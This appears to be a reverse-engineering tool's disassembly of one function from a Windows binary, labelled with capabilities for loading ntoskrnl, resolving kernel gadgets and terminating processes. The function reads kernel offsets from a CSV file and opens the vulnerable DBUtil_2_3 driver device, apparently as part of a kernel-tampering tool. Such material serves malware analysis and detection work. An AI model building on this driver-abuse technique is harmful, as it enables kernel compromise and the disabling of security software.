Function at 0x140002740
Capabilities:
Load ntoskrnl
Resolve ntoskrnl gadgets
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x11e0]
mov eax, 0x12e0
call fcn.14002b7f0
sub rsp, rax
mov rax, qword [0x14004aac0]
xor rax, rsp
mov qword [rbp + 0x11d0], rax
mov rdi, rcx
lea rcx, str.ntoskrnl.exe
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.PsInitialSystemProcess
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rdi + 0x18]
test rdx, rdx
je 0x1400027b2
sub rdx, rbx
mov rcx, rdi
add rdx, rax
call fcn.140002af0
jmp 0x1400027b6
mov rax, qword [rbp - 0x48]
xorps xmm0, xmm0
mov qword [rdi + 0x20], rax
xor eax, eax
lea r8, [0x140043ab8]
xor esi, esi
mov qword [rbp - 0x58], rax
lea rdx, str.NtoskrnlCSV.csv
mov qword [rsp + 0x40], rsi
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x50], rsi
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm0
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rbp - 0x78], xmm0
movups xmmword [rbp - 0x68], xmm0
call fcn.1400141f0
mov r8, qword [rbp - 0x50]
test r8, r8
je 0x140002ad4
mov edx, 0x800
lea rcx, [rbp + 0x1d0]
call fcn.1400144e4
test rax, rax
je 0x1400028c2
lea rbx, [0x140043b10]
nop
lea rcx, [rbp + 0x1d0]
call fcn.140014248
lea r8, [rbp - 0x48]
mov qword [rbp - 0x48], rsi
lea rdx, [0x140043b0c]
mov rcx, rax
call fcn.1400143d8
mov r8, rax
lea rcx, [rbp - 0x30]
mov edx, 0x100
call fcn.1400142cc
mov rax, rsi
lea rdx, [rbp - 0x30]
nop dword [rax + rax]
movzx ecx, word [rbx + rax*2]
inc rax
cmp cx, word [rdx + rax*2 - 2]
jne 0x140002a30
cmp rax, 4
jne 0x140002870
mov rbx, rsi
nop dword [rax + rax]
lea r8, [rbp - 0x48]
xor ecx, ecx
lea rdx, [0x140043b0c]
call fcn.1400143d8
mov rcx, rax
lea rdx, [rbp - 0x40]
mov r8d, 0x10
call fcn.140012bec
mov qword [rsp + rbx*8 + 0x40], rax
inc rbx
cmp rbx, 0xe
jl 0x140002890
mov rcx, qword [rbp - 0x50]
call fcn.14000ec48
movups xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x30], rsi
xor r9d, r9d
movups xmm1, xmmword [rsp + 0x50]
mov dword [rsp + 0x28], esi
xor r8d, r8d
movups xmmword [rdi + 0xb0], xmm0
mov edx, 0xc0000000
lea rcx, str..DBUtil_2_3
movups xmm0, xmmword [rsp + 0x60]
mov dword [rsp + 0x20], 3
movups xmmword [rdi + 0xc0], xmm1
movups xmm1, xmmword [rsp + 0x70]
movups xmmword [rdi + 0xd0], xmm0
movups xmm0, xmmword [rbp - 0x80]
movups xmmword [rdi + 0xe0], xmm1
movups xmm1, xmmword [rbp - 0x70]
movups xmmword [rdi + 0xf0], xmm0
movups xmm0, xmmword [rbp - 0x60]
movups xmmword [rdi + 0x100], xmm1
movups xmmword [rdi + 0x110], xmm0
mov rax, qword [rdi + 0x118]
mov qword [rdi + 0xa8], rax
mov rax, qword [rdi + 0x110]
mov qword [rdi + 0xa0], rax
mov rax, qword [rdi + 0x108]
mov qword [rdi + 0x98], rax
mov rax, qword [rdi + 0x100]
mov qword [rdi + 0x90], rax
mov rax, qword [rdi + 0xf8]
mov qword [rdi + 0x88], rax
mov rax, qword [rdi + 0xf0]
mov qword [rdi + 0x80], rax
mov rax, qword [rdi + 0xe8]
mov qword [rdi + 0x78], rax
mov rax, qword [rdi + 0xe0]
mov qword [rdi + 0x70], rax
mov rax, qword [rdi + 0xd8]
mov qword [rdi + 0x68], rax
mov rax, qword [rdi + 0xd0]
mov qword [rdi + 0x60], rax
mov rax, qword [rdi + 0xc8]
mov qword [rdi + 0x58], rax
mov rax, qword [rdi + 0xc0]
mov qword [rdi + 0x50], rax
mov rax, qword [rdi + 0xb8]
mov qword [rdi + 0x48], rax
mov rax, qword [rdi + 0xb0]
mov qword [rdi + 0x40], rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rdi], rax
cmp rax, 0xffffffffffffffff
jne 0x140002a53
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Unable_to_obtain_a_handle_to_the_device_object:
mov ebx, eax
lea rcx, [0x14004bfa0]
call fcn.14000b160
mov rcx, rax
mov edx, ebx
call fcn.140008120
mov rcx, rax
call fcn.140008940
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov r8, qword [rbp - 0x50]
lea rcx, [rbp + 0x1d0]
mov edx, 0x800
call fcn.1400144e4
test rax, rax
jne 0x140002830
jmp 0x1400028c2
call fcn.140002c00
lea rcx, str.ntoskrnl.exe
mov qword [rdi + 0x18], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.PsInitialSystemProcess
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rdi + 0x18]
test rdx, rdx
je 0x140002a95
sub rdx, rbx
mov rcx, rdi
add rdx, rax
call fcn.140002af0
jmp 0x140002a99
mov rax, qword [rbp - 0x40]
mov qword [rdi + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
mov rax, rdi
mov qword [rdi + 0x30], rcx
mov rcx, qword [rbp + 0x11d0]
xor rcx, rsp
call fcn.14002aba0
lea r11, [rsp + 0x12e0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
lea rcx, str.____Offset_CSV_file_connot_be_opened
call fcn.1400145d4
mov ecx, 1
call fcn.14000e4a0
int3